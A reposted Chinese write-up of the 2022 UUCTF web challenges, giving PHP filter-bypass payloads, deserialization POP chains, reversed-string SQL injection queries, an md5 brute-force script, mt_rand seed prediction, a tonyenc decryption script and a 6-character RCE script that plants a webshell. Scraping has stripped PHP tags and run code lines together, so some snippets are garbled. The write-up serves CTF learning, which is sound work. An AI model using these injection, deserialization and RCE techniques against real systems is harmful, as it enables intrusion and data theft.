iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >2022 UUCTF Web
  • 295
分享到

2022 UUCTF Web

phpweb安全 2023-09-07 16:09:47 295人浏览 薄情痞子
摘要

目录 Web (1) websign(禁用js绕过) (2) ez_rce(?>闭合 `rce`) (3) ez_unser(引用传递) (4) ez_upload(apache后缀解析漏洞) (5) ezsql(union注

目录

<1> Web

(1) websign(禁用js绕过)

(2) ez_rce(?>闭合 `rce`)

(3) ez_unser(引用传递)

(4) ez_upload(apache后缀解析漏洞)

(5) ezsql(union注入)

(6) funmd5(代码审计 %0a绕过preg_replace)

(7) phonecode(伪随机数漏洞)

(8) ezpop(反序列化字符串逃逸)

(9) backdoor(tonyenc加密&IDA逆向so文件)

(10) ezrce(限制 6字符RCE)

方法1

方法二 

(11) uploadandinject(LD_PRELOAD劫持)


<1> WEB

(1) websign(禁用js绕过)

禁用了右键与ctrl U 我们提前打开F12 然后再访问,即可看见源码

(2) ez_rce(?>闭合 `rce`)

PHP## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????if(isset($_GET['code'])){    $code=$_GET['code'];    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){        echo '看看你输入的参数!!!不叫样子!!';echo '
';        eval($code);    }    else{        die("你想干什么?????????");    }}else{    echo "居然都不输入参数,可恶!!!!!!!!!";    show_source(__FILE__);}

没有过滤 <> ? \/ 可以 ?>闭合

?code=?> 得到flag文件名称:fffffffffflagafag

rev和nl没有被过滤 利用此读取flag文件

?code=?>

(3) ez_unser(引用传递)

a=1;        $this->b=2;        $this->c=3;    }    public function __wakeup(){        $this->a='';    }    public function __destruct(){        $this->b=$this->c;        eval($this->a);    }}$a=$_GET['a'];if(!preg_match('/test":3/i',$a)){    die("你输入的不正确!!!搞什么!!");}$bbb=unserialize($_GET['a']);

反序列化,从正则上看 preg_match('/test":3/i',$a)    即我们传入的序列化数据不能通过修改属性个数来绕过wakeup

这道题和之前ISCTF比赛的 猫和老鼠 类似,可以用引用地址传递

exp:

a = &$A->b;$A->c = "system('cat /fffffffffflagafag');";echo serialize($A);?>

(4) ez_upload(apache后缀解析漏洞)

 

(5) ezsql(uNIOn注入)

简单union注入,不过是把字符串反向了 过滤了or

union注入:

?user=admin&passWord=%232%2C1+tceles+noinu+)'1

即:SELECT * FROM users WHERE passwd=('1') union select 1,2#') AND username=('nimda') LIMIT 0,1   得知有两列, 回显为1和2

过滤了 or,所以原先是ro的词,双写绕过 rroo

?user=admin&password=%23)(esabatad%3Damehcs_elbat+erehw+selbat.amehcs_noitamrofni+moorrf+)eman_elbat(tacnoc_puoorrg%2C1+tceles+noinu+)'1

 即:SELECT * FROM users WHERE passwd=('1') union select 1,group_concat(table_name) from infORMation_schema.tables where table_schema=database()#') AND username=('nimda') LIMIT 0,1

 得到flag表

查询flag表字段

?user=admin&password=%23'galf'%3Deman_elbat+dna+)(esabatad%3Damehcs_elbat+erehw+snmuloc.amehcs_noitamrofni+moorrf+)eman_nmuloc(tacnoc_puoorrg%2C1+tceles+noinu+)'1

即:SELECT * FROM users WHERE passwd=('1') union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#') AND username=('nimda') LIMIT 0,1

 得到UUCTF

?user=admin&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+)'1

即:SELECT * FROM users WHERE passwd=('1') union select 1,UUCTF from flag#') AND username=('nimda') LIMIT 0,1

得到flag

(6) funmd5(代码审计 %0a绕过preg_replace)

 SSMd5=md5($time);$md5=$_GET["md5"];if(isset($md5)){    $sub=substr($time,-1);    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);    if(preg_match('/0e/',$md5[0])){        $md5[0]=substr($md5[0],$sub);        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){            echo "well!you win again!now flag is yours.
";            echo $flag;        }        else{            echo $md5[0];            echo "oh!no!maybe you need learn more PHP!";        }    }    else{        echo "this is your md5:$md5[0]
";        echo "maybe you need more think think!";    }}else{    highlight_file(__FILE__);    $sub=strlen($md5[0]);    echo substr($guessmd5,0,5)."
";    echo "plase give me the md5!";}?>8b17e

$md5=preg_replace('/^(.)0e(.)$/','${1}no_science_notation!${2}',$md5); if(preg_match('/0e/',$md5[0]))

这两个里的条件是矛盾的,但是我们可以%0a绕过preg_replace函数,同时传入的md5[0]要满足

$md5[0]==md5($md5[0] 很常见的md5考点,弱类型比较 0e215962017 MD5加密后还是0e开头。

因此md5[0]应该传入%0a0e215962017,但是我们又多了一个%0a 换行符,通过上面这行代码 $md5[0]=substr($md5[0],$sub);

可以在 $sub=1的时候,执行会达到删去%0a的作用

而 $sub=substr($time,-1); $sub由$time决定,$sub为$time的最后一位。

要得到flag,要满足的第二个条件为:$md5[1]===$guessmd5 手动比较慢,赶不上时间,因此需要写一个python脚本

如下:

import requestsimport timeimport hashlibs = requests.session()while True:    url = "Http://43.143.7.127:28150/?md5[0]=%0a0e215962017&md5[1]={}".format(hashlib.md5(str(int(time.time())).encode('utf-8')).hexdigest())    res = s.get(url=url).text    print(res)    if 'well' in res:        print(res)        break    time.sleep(0.5)

(7) phonecode(伪随机数漏洞)

 结合这句话,可以联想到mt_rand()和mt_srand() 随机数种子,发包 得到hint,

phone不同,hint不同

 猜测phone为种子,hint为其中的伪随机数序列

phone为1时,hint:895547922   印证了刚才的想法

"; #895547922echo mt_rand()."
"; #2141438069echo mt_rand()."
"; #1546885062echo mt_rand()."
"; #2002651684?>

我们传入code为下一个随机数试一试  得到flag

(8) ezpop(反序列化字符串逃逸)

name=$str; } function __wakeup(){ if($this->key==="UUCTF"){ $this->ob=unserialize(base64_decode($this->basedata)); } else{         die("oh!you should learn PHP unserialize String escape!");         } }}class output{     public $a; function __toString(){ $this->a->rce(); }}class nothing{     public $a; public $b; public $t; function __wakeup(){ $this->a=""; } function __destruct(){ $this->b=$this->t; die($this->a); }}class youwant{     public $cmd; function rce(){ eval($this->cmd); }}$pdata=$_POST["data"];if(isset($pdata)){     $data=serialize(new UUCTF($pdata)); $data_replace=str_replace("hacker","loveuu!",$data); unserialize($data_replace);}else{     highlight_file(__FILE__);}?>

data参数可控,然后post会传入data之后,$data会new一个UUCTF类的实例对象,替换掉hacker为loveuu!,再进行反序列化

先正常传入data=jack,则$data应该为:

O:5:"UUCTF":4:{s:4:"name";s:4:"jack";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

其中标红的是我们可控的参数

开始代码审计,在youwant类我们可以通过rce方法,实现命令执行,以此读flag,

现在找链子:

UUCTF:: nothing::__destruct() -> output::__toString() -> youwant::rce

流程即:我们通过传入的data参数,构造把后面的逃逸掉,构造新的序列化串

O:5:"UUCTF":4:{s:4:"name";s:4:"构造的";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

  unserialize($data_replace); 这一段代码是为了触发 UUCTF的__wakeup(),我们需要真正利用的是 __wakeup()函数里,满足 $this->key==="UUCTF"条件后,执行的unserialize(base64_decode($this->basedata));

exp如下:

a="";     }     function __destruct(){     $this->b=$this->t;     die($this->a);     }}class youwant{     public $cmd="system('cat flag.php');";}$A = new nothing();$A->a = &$A->b;$A->t = new output();$A->t->a = new youwant();$basedata = base64_encode(serialize($A));$data = '";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";s:2:"ob";N;}';$hacker='';for($i=0;$i

得到:Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19

所以构造的序列化串应为:

O:5:"UUCTF":4:{s:4:"name";s:4:"";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:176:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjIzOiJzeXN0ZW0oJ2NhdCBmbGFnLnBocCcpOyI7fX19";s:2:"ob";N;}";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

但是我们要满足前面的s:*:"构造的" 长度*为我们构造的串的长度,一个hacker换为loveuu! 可以逃逸出一个字符,红色串总长为 236,因此需要236个hacker

最终查看源码,得到flag

 详细有关反序列化逃逸可以参考我前面的文章:buuctf刷题9 (反序列化逃逸&shtml-SSI远程命令执行&idna与utf-8编码漏洞)_葫芦娃42的博客-CSDN博客_apache ssi 远程命令执行 过滤绕过

(9) backdoor(tonyenc加密&IDA逆向so文件)

布里茨贼猛  lol里机器人叫布里茨,联想到robots.txt

看见www.zip,存在备份文件泄露 下载下来 backdoor.php 结合文件名称,应该是被加密的后门

 还有一个so.so文件  看其他师傅wp,此题需要逆向的知识

2022UUCTF-web_yb0os1的博客-CSDN博客_uuctf 2022

IDA 逆向 .so文件

so文件是linux下向当于windows下的dll文件,Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据

 发现了 tonyenc_encode加密代码

 双击代码里的tonyenc_key 得到 header和key的十六进制数据

 百度搜索后得知

tonyenc 是一个简洁、高性能、跨平台的 PHP7 代码加密扩展,可以加密php文件内容,PHP 在运行它们时会自动解密

GitHub上的地址为:GitHub - lihancong/tonyenc: 高性能、跨平台的 PHP7 代码加密扩展 (A high performance and cross-platform encrypt extension for PHP source code)

贴上yb0os1师傅根据源码写的解密脚本:

import base64header=[    0x66, 0x88, 0xff, 0x4f,    0x68, 0x86, 0x00, 0x56,    0x11, 0x61, 0x16, 0x18,]key=[    0x9f, 0x58, 0x54, 0x00,    0x58, 0x9f, 0xff, 0x23,    0x8e, 0xfe, 0xea, 0xfa,    0xa6, 0x35, 0xf3, 0xc6]def decode(data,len):    p =0    for i in range(0,len):        if (i & 1):            p += key[p] + i;            p %= 16;            t = key[p];            data[i] = ~data[i]^t;            if data[i] < 0:                data[i]=data[i]+256                decode = "".join([chr(c) for c in data])                return decodeencodefile=open('backdoor.php',"rb")base64_encodestr=base64.b64encode(encodefile.read())convert=[c for c in base64.b64decode(base64_encodestr)]del convert[0:len(header)]print(str(decode(convert,len(convert))))

解密得到backdoor.php文件内容为

(10) ezrce(限制 6字符RCE)

题目描述:这是一个命令执行接口

方法1

>nl

执行后,会创建名为 nl 的文件
* /*>d

意思就是 nl /*>f  第一个*就是将ls列出文件名第一个当作命令 其他当作参数 即 nl /*>d

方法二 

>a 在Linux会创建一个叫a的文件
*>v 会将ls列出的第一个文件名当作命令 其余当作参数执行
*v>0 等价于 rev v >0 反转
sh 0 将0文件的内容当作命令执行
ls -th 按照文件的创建时间(后创建先列出)ls -t就可以 这里加上h是为了按照 sl ht- f\>排列
linux下换行执行命令:
ech\
o\
 111

贴上yb0os1师傅的脚本: tql

url="http://43.142.108.3:28933/post.php"print("[+]start attack!!!")with open("5字符RCE.txt", "r") as f:    for i in f:        data = {"cmd": f"{i.strip()}"}        requests.post(url=url,data=data)resp = requests.get("http://43.142.108.3:28933/tmp/1.php")if resp.status_code == requests.codes.ok:    print("[*]Attack success!!!")    5字符RCE.txt>dir>sl>ht->f\>*>v>rev*v>0>hp>1.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSk\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\sh 0sh f

(11) uploadandinject(LD_PRELOAD劫持)

下面准备开一章 LD_PRELOAD,仔细研究一下,这道题就写下一篇里吧

参考:2022UUCTF-web_yb0os1的博客-CSDN博客_uuctf 2022

来源地址:https://blog.csdn.net/weixin_63231007/article/details/128046320

--结束END--

本文标题: 2022 UUCTF Web

本文链接: http://www.lsjlt.com/news/398538.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 2022 UUCTF Web
    目录 Web (1) websign(禁用js绕过) (2) ez_rce(>闭合 `rce`) (3) ez_unser(引用传递) (4) ez_upload(apache后缀解析漏洞) (5) ezsql(union注入...
    99+
    2023-09-07
    php web安全
  • UUCTF部分web题解
    前言 这次比赛结束有一段时间了,在此总结一些当时没有做出来的web题解。也当是收集到一些学习经验。 funmd5(php代码审计) 打开题目,是一段php代码: 当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,...
    99+
    2023-09-01
    php 开发语言 ctf web安全
  • 2022-HitCon-Web-yeeclass WP
    复现平台CTFHUB 靶机为一个完整类论坛网页,题目给了服务端完整代码 代码审计 /src/submit.php Line56-63: 可以看到提交数据存入的时候将$_SESSION["userna...
    99+
    2023-08-31
    php web安全 mysql
  • ISCTF 2022 WEB WP分享
    文章目录 EASY-PHP01FakeWebEASY-PHP02simplePHP猫和老鼠curleasy-onlineshell傻注rce 感谢老六师傅和gsf1yy师傅的帮助和指导 ...
    99+
    2023-09-02
    php 网络安全 web安全 安全
  • UUCTF WP
    ezpop 一次成功,太爽 先构造原始POP链子: ...
    99+
    2023-09-07
    php 服务器 apache web安全
  • CISCN 2022 初赛 web 复现
    [CISCN 2022 初赛]ezpop 可以看到版本,那么直接上网找链子打 www.zip 查看路由,是 Index/test,然后 post 传参 a ...
    99+
    2023-09-15
    比赛复现
  • SWPUCTF 2022新生赛 web部分wp
    😋大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 [SWPUCTF 2022 新生赛]ez_ez...
    99+
    2023-09-06
    前端 php 服务器 学习 安全
  • DASCTF X GFCTF 2022十月挑战赛web
    前言 晚来的比赛web题解,这次buu的十月赛web部分的题目对于我来说质量还是蛮高的,因为这几天比较忙,一直没有去复现总结,不过该复现的还得复现,复现了这次比赛又能学到不少知识,嘿嘿嘿。 EasyPOP 考察php的pop链,这题相比之下...
    99+
    2023-09-30
    php 开发语言
  • UUCTF(公共赛道)
    目录 ez_rce ez_unser ezsql ez_upload apache 文件上传 (CVE-2017-15715)漏洞 funmd5 ezpop 我们为什么要用字符串逃逸呢 我们要逃逸什么呢? 要逃逸什么呢 phonecode...
    99+
    2023-09-24
    php 开发语言
  • 2022 SWPU新生赛&HNCTF web部分题目
    目录 SWPU (1) webdog1__start (2) ez_ez_php(revenge) (3) 1z_unserialize (4) ez_1zpop (5) numgame (6) Crypto 爆破MD5 HNCTF [...
    99+
    2023-09-09
    php web安全
  • 2022-UNCTF部分wp以及web的赛后复现学习
    前言 tcltcltcltcltcl,前路漫漫,继续努力。 WEB 1、ezgame 挺有意思的一个游戏,不够玩,直接玩出flag… 2、我太喜欢bilibili大学了 搜索UNCTF,直接出flag...
    99+
    2023-09-11
    php 开发语言
  • [NISACTF 2022]
    目录 前言: [NISACTF 2022]popchains [NISACTF 2022]babyserialize 考点: 解题: 解法二:利用 php  总结: [NISACTF 2022]easyssrf [NISACTF 202...
    99+
    2023-09-14
    php 安全
  • ISCC-2022
    ISCC-2022 本文首发于奇安信攻防社区 注:本文所做题目时间和复现时间不一致,按照主办方每天中午更新flag,或许有不同 练武 MISC 单板小将苏翊鸣 下载附件得到压缩包和图片 修改高度 扫...
    99+
    2023-09-14
    http 安全 php html
  • ISCC 2022 wp
    目录 解题步骤及过程: 练武题WP: Web: 冬奥会: 爱国敬业好青年-2: Pop2022: 这是一道代码审计题: Easy-SQL: Findme: 让我康康!: misc: 2022冬奥会: 单板小将苏翊鸣: 隐秘的信息: 藏在星空...
    99+
    2023-09-14
    php 开发语言
  • [NISACTF 2022]bingdundun
    进入靶场环境,提示upload,应该是一个文件上传与文件包含相关的题目。 点击upload进入文件上传页面。看到url有一个bingdundun的get传参,我们尝试传入其他值尝试一下。 尝试传入index,发现index页面...
    99+
    2023-09-25
    安全 web安全
  • 2022安洵杯babyphp
    这个题没打出来有点可惜,感觉做的都差不多了,不过有些地方确实没理解,还是理解不到位 先来看序列化,这个序列化是不难的,不过有一个小坑,我们先理一遍顺序 array(0) { } session反序列化漏洞: session是会被反序列...
    99+
    2023-09-16
    php 开发语言 web安全 网络安全
  • ctfshow七夕杯2022
    文章目录 Webweb签到easy_calceasy_cmd Crypto密码签到 Misc杂项签到 Osint社工签到迷失的大象大飞机 原文 Web web...
    99+
    2023-09-01
    php 开发语言
  • 最新Adobe 2022全新上线 Adobe 2022永久免费使用教程
    每次的大版本更新 为全世界的摄影、影视、设计师 提供了一系列生产力工具 电脑配置符合要求的小伙伴可以尝鲜啦。 软件版本越高对电脑的配置要求就越高。 目前adobe2022的配置要求...
    99+
    2024-04-02
  • 【春秋云境】CVE-2022-32991
    靶标介绍: ​ 该CMS的welcome.php中存在SQL注入攻击 介绍中就很明显提示了welcome.php中存在SQL注入,那么就直接访问。但是要先登录,我们直接注册一个进去。 注册完登录...
    99+
    2023-09-17
    安全
  • 挥别2022,坦迎2023。
    第一章:CSDN,我来啦! 第一节:初遇! 2022-08-13,我和CSDN相遇啦! CSDN,你好呀!2022年8月13日,是我与你相...
    99+
    2023-08-31
    java 前端 开发语言 Powered by 金山文档
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作